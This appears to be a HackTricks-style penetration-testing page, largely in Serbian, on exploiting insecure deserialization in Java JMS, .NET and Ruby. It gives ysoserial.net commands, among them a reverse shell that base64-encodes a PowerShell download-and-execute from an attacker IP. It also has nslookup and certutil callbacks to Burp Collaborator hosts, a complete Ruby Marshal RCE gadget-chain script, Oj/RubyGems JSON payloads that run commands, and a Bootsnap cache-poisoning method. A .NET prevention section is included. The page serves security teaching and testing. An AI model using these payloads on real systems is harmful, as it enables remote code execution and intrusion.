https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

U suštini postoji veliki broj servisa koji koriste JMS na nesiguran način. Dakle, ako imate dovoljno privilegija da pošaljete poruke tim servisima (obično će vam biti potrebni validni kredencijali) mogli biste poslati maliciozne serijalizovane objekte koji će biti deserializovani od strane consumer/subscriber.
To znači da će u ovoj eksploataciji svi klijenti koji budu koristili tu poruku biti inficirani.

Treba imati na umu da čak i ako je servis ranjiv (zbog nesigurne deserializacije korisničkog unosa), i dalje morate pronaći validne gadgets da biste iskoristili ranjivost.

Alat JMET je napravljen da se poveže na ove servise i napadne ih slanjem više malicioznih serijalizovanih objekata koristeći poznate gadgets. Ovi exploit-i će raditi ako je servis i dalje ranjiv i ako se bilo koji od korišćenih gadgets nalazi u ranjivoj aplikaciji.

References

.Net

U kontekstu .Net-a, deserialization exploit-i funkcionišu na sličan način kao oni u Javi, gde se gadgets iskorišćavaju da pokrenu određeni kod tokom deserializacije objekta.

Fingerprint

WhiteBox

Izvorni kod treba pregledati u potrazi za pojavama:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Fokus treba biti na serializer-ima koji dozvoljavaju da tip bude određen varijablom pod kontrolom korisnika.

BlackBox

Pretraga bi trebalo da cilja Base64 enkodovani string AAEAAAD///// ili bilo koji sličan obrazac koji bi mogao biti deserializovan na serverskoj strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može uključivati, ali nije ograničeno na, JSON ili XML strukture koje sadrže TypeObject ili $type.

ysoserial.net

U ovom slučaju možete koristiti alat ysoserial.net da kreirate deserialization exploit-e. Nakon što preuzmete git repozitorijum, treba da kompajlirate alat koristeći, na primer, Visual Studio.

Ako želite da saznate kako ysoserial.net kreira svoje exploite, možete pogledati ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Glavne opcije ysoserial.net su: --gadget, --formatter, --output i --plugin.

  • --gadget se koristi da označi gadget koji će se zloupotrebiti (navodi klasu/funkciju koja će biti zloupotrebljena tokom deserializacije da izvrši komande).
  • --formatter se koristi da naznači metod koji će serijalizovati exploit (morate znati koju biblioteku back-end koristi za deserializaciju payload-a i koristiti istu za serijalizaciju).
  • --output se koristi da označi da li želite exploit u raw ili base64 enkodiranom obliku. Napomena: ysoserial.net će enkodirati payload koristeći UTF-16LE (enkodiranje podrazumevano na Windows-u), pa ako dobijete raw i samo ga enkodirate iz linux konzole, možete imati neke probleme sa kompatibilnošću enkodiranja koji će sprečiti exploit da radi ispravno (u HTB JSON box payload je radio i u UTF-16LE i u ASCII, ali to ne znači da će uvek raditi).
  • --plugin ysoserial.net podržava plugin-e za kreiranje exploit-a za specifične framework-e kao što je ViewState

More ysoserial.net parameters

  • --minify će obezbediti manji payload (ako je moguće)
  • --raf -f Json.Net -c "anything" Ovo će navesti sve gadgets koji se mogu koristiti sa datim formatter-om (Json.Net u ovom slučaju)
  • --sf xml možete naznačiti gadget (-g) i ysoserial.net će tražiti formatter-e koji sadrže "xml" (case insensitive)

ysoserial primeri za kreiranje exploit-a:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net takođe ima veoma interesantan parametar koji pomaže da se bolje razume kako svaki exploit radi: --test
Ako navedete ovaj parametar ysoserial.net će pokušati exploit lokalno, tako da možete testirati da li će vaš payload raditi ispravno.
Ovaj parametar je koristan jer ako pregledate kod pronaći ćete odeljke koda poput sledećeg (iz ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

To znači da će, da bi testirao exploit, code pozvati serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

U prethodnom primeru kod je ranjiv na kreirani exploit. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je ta aplikacija verovatno takođe ranjiva.
Zato parametar --test omogućava da razumemo koji delovi koda su ranjivi na deserialization exploit koji ysoserial.net može da kreira.

ViewState

Pogledajte ovu POST objavu o kako pokušati eksploatisati __ViewState parameter of .Net da biste izvršili arbitrary code. Ako već znate tajne koje koristi žrtvina mašina, pročitajte ovu objavu da biste znali kako izvršiti kod.

Prevencija

Da biste ublažili rizike povezane sa deserialization u .Net:

  • Izbegavajte da tokovi podataka definišu svoje tipove objekata. Koristite DataContractSerializer ili XmlSerializer kad god je moguće.
  • Za JSON.Net, postavite TypeNameHandling na None: TypeNameHandling = TypeNameHandling.None
  • Izbegavajte korišćenje JavaScriptSerializer sa JavaScriptTypeResolver.
  • Ograničite tipove koji se mogu deserializovati, razumevajući inherentne rizike sa .Net tipovima, kao što je System.IO.FileInfo, koji može izmeniti svojstva fajlova na serveru i potencijalno dovesti do denial of service napada.
  • Budite oprezni sa tipovima koji imaju rizična svojstva, kao što je System.ComponentModel.DataAnnotations.ValidationException sa svojim Value svojstvom, koje se može iskoristiti.
  • Sigurno kontrolišite instanciranje tipova kako biste sprečili napadače da utiču na proces deserialization, što može učiniti ranjivim i DataContractSerializer ili XmlSerializer.
  • Implementirajte kontrole bele liste koristeći prilagođeni SerializationBinder za BinaryFormatter i JSON.Net.
  • Pratite poznate nesigurne deserialization gadgets unutar .Net i osigurajte da deserializatori ne instanciraju takve tipove.
  • Izolujte potencijalno rizičan kod od koda koji ima pristup internetu kako biste izbegli izlaganje poznatih gadgets, kao što je System.Windows.Data.ObjectDataProvider u WPF aplikacijama, nepouzdanim izvorima podataka.

Izvori

Ruby

U Ruby-ju, serialization se obavlja pomoću dve metode unutar biblioteke marshal. Prva metoda, poznata kao dump, koristi se da transformiše objekat u niz bajtova — ovaj proces se naziva serialization. Suprotno tome, druga metoda, load, služi da vrati niz bajtova nazad u objekat — ovaj proces se naziva deserialization.

Za osiguranje serializovanih objekata, Ruby koristi HMAC (Hash-Based Message Authentication Code), obezbeđujući integritet i autentičnost podataka. Ključ koji se koristi za ovu svrhu nalazi se u jednom od sledećih mogućih lokacija:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (više informacija na https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Još jedan RCE lanac za iskorišćavanje Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() metod

Kao što je objašnjeno u ovom izveštaju o ranjivosti, ako neki nesanitizovan korisnički unos stigne do .send() metoda ruby objekta, ovaj metod omogućava da se pozove bilo koji drugi metod objekta sa bilo kojim parametrima.

Na primer, pozivanje eval i zatim ruby koda kao drugog parametra će omogućiti izvršavanje proizvoljnog koda:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Štaviše, ako je samo jedan parametar od .send() pod kontrolom napadača, kao što je pomenuto u prethodnom writeupu, moguće je pozvati bilo koju metodu objekta koja ne zahteva argumente ili čiji argumenti imaju podrazumevane vrednosti.
Za ovo, moguće je enumerisati sve metode objekta kako bi se pronašle neke zanimljive metode koje ispunjavaju te uslove.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Proverite kako bi bilo moguće pollute a Ruby class and abuse it in here.

Ruby _json pollution

Kada se u body pošalju vrednosti koje nisu hashable, npr. array, one će biti dodate u novi ključ nazvan _json. Međutim, napadač takođe može u body postaviti ključ _json sa proizvoljnim vrednostima koje želi. Ako backend, na primer, proverava verodostojnost nekog parametra, ali zatim koristi parametar _json za izvršenje neke akcije, može doći do zaobilaženja autorizacije.

Više informacija potražite na Ruby _json pollution page.

Ostale biblioteke

Ova tehnika je preuzeta from this blog post.

Postoje i druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i koje bi zbog toga mogle biti zloupotrebljene za dobijanje RCE tokom insecure deserialization. Sledeća tabela prikazuje neke od tih biblioteka i metod koji se poziva u učitanoj klasi kad se ona unserializuje (funkcija koja se u suštini može zloupotrebiti da bi se dobio RCE):

BibliotekaUlazni podaciMetod koji se pokreće u klasi
Marshal (Ruby)Binarni_load
OjJSONhash (klasa mora biti stavljena u hash (map) kao ključ)
OxXMLhash (klasa mora biti stavljena u hash (map) kao ključ)
Psych (Ruby)YAMLhash (klasa mora biti stavljena u hash (map) kao ključ)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Osnovni primer:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja u svojoj hash funkciji poziva to_s, koja zatim poziva spec, koja poziva fetch_path; to je omogućavalo da se natera da preuzme nasumičan URL, što predstavlja odličan detektor ovakvih unsanitized deserialization vulnerabilities.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Pored toga, utvrđeno je da se prethodnom tehnikom u sistemu kreira i direktorijum, što je preduslov za zloupotrebu drugog gadgeta kako bi se ovo transformisalo u potpunu RCE uz nešto poput:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:

  • Identify the Vulnerability and Environment

Rails aplikacija ima funkcionalnost za upload fajlova koja omogućava napadaču da proizvoljno upisuje fajlove. Iako aplikacija radi sa ograničenjima (samo određeni direktorijumi kao tmp su upisivi zbog Docker-ovog non-root korisnika), to i dalje dozvoljava upis u Bootsnap cache direktorijum (obično pod tmp/cache/bootsnap).

  • Understand Bootsnaps Cache Mechanism

Bootsnap ubrzava Rails boot time keširanjem kompajliranog Ruby koda, YAML i JSON fajlova. Čuva cache fajlove koji uključuju cache key header (sa poljima kao što su Ruby version, file size, mtime, compile options, itd.) nakon čega sledi kompajlirani kod. Ovaj header se koristi za validaciju cache-a tokom pokretanja aplikacije.

  • Gather File Metadata

Napadač prvo izabere ciljnu datoteku koja se verovatno učitava tokom Rails startup-a (na primer, set.rb iz Ruby standardne biblioteke). Izvršavanjem Ruby koda unutar containera izvlače se ključni metadata (kao RUBY_VERSION, RUBY_REVISION, size, mtime, i compile_option). Ovi podaci su neophodni za izradu validnog cache key-a.

  • Compute the Cache File Path

Replikujući Bootsnap-ov FNV-1a 64-bit hash mehanizam, određuje se tačan put cache fajla. Ovaj korak osigurava da je maliciozni cache fajl postavljen upravo tamo gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

Napadač priprema payload koji:

  • Izvršava proizvoljne komande (na primer, pokretanje id da prikaže informacije o procesu).
  • Uklanja maliciozni cache nakon izvršenja da bi se izbegla rekurzivna eksploatacija.
  • Učitava originalni fajl (npr. set.rb) da se aplikacija ne sruši.

Ovaj payload se kompajlira u binarni Ruby kod i konkatenira sa pažljivo konstruisanim cache key header-om (koristeći prethodno prikupljene metadata i ispravnu verziju za Bootsnap).

  • Overwrite and Trigger Execution Korišćenjem arbitrarnog file write vuln-a, napadač upisuje kreirani cache fajl na izračunatu lokaciju. Zatim izaziva restart servera (npr. pisanjem u tmp/restart.txt, koji Puma nadgleda). Tokom restart-a, kada Rails require-uje ciljanu datoteku, maliciozni cache fajl se učitava, što dovodi do remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Uobičajene gadget classes viđene u real chains: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Tipičan marker sporednog efekta ugrađen u payloads (izvršava se tokom unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Gde se pojavljuje u realnim aplikacijama:

  • Rails cache stores i session stores koji su istorijski koristili Marshal
  • Backend-i za background job-ove i skladišta objekata zasnovana na fajlovima
  • Bilo koja prilagođena perzistencija ili prenos binarnih object blob-ova

Industrializovano otkrivanje gadget-a:

  • Grep za konstruktore, hash, _load, init_with, ili metode sa sporednim efektima koje se pozivaju tokom unmarshal
  • Koristite CodeQL-ove Ruby unsafe deserialization upite da pratite sources → sinks i izvučete gadget-e
  • Validirajte pomoću javnih multi-format PoCs (JSON/XML/YAML/Marshal)

References

{{#include ../../banners/hacktricks-training.md}}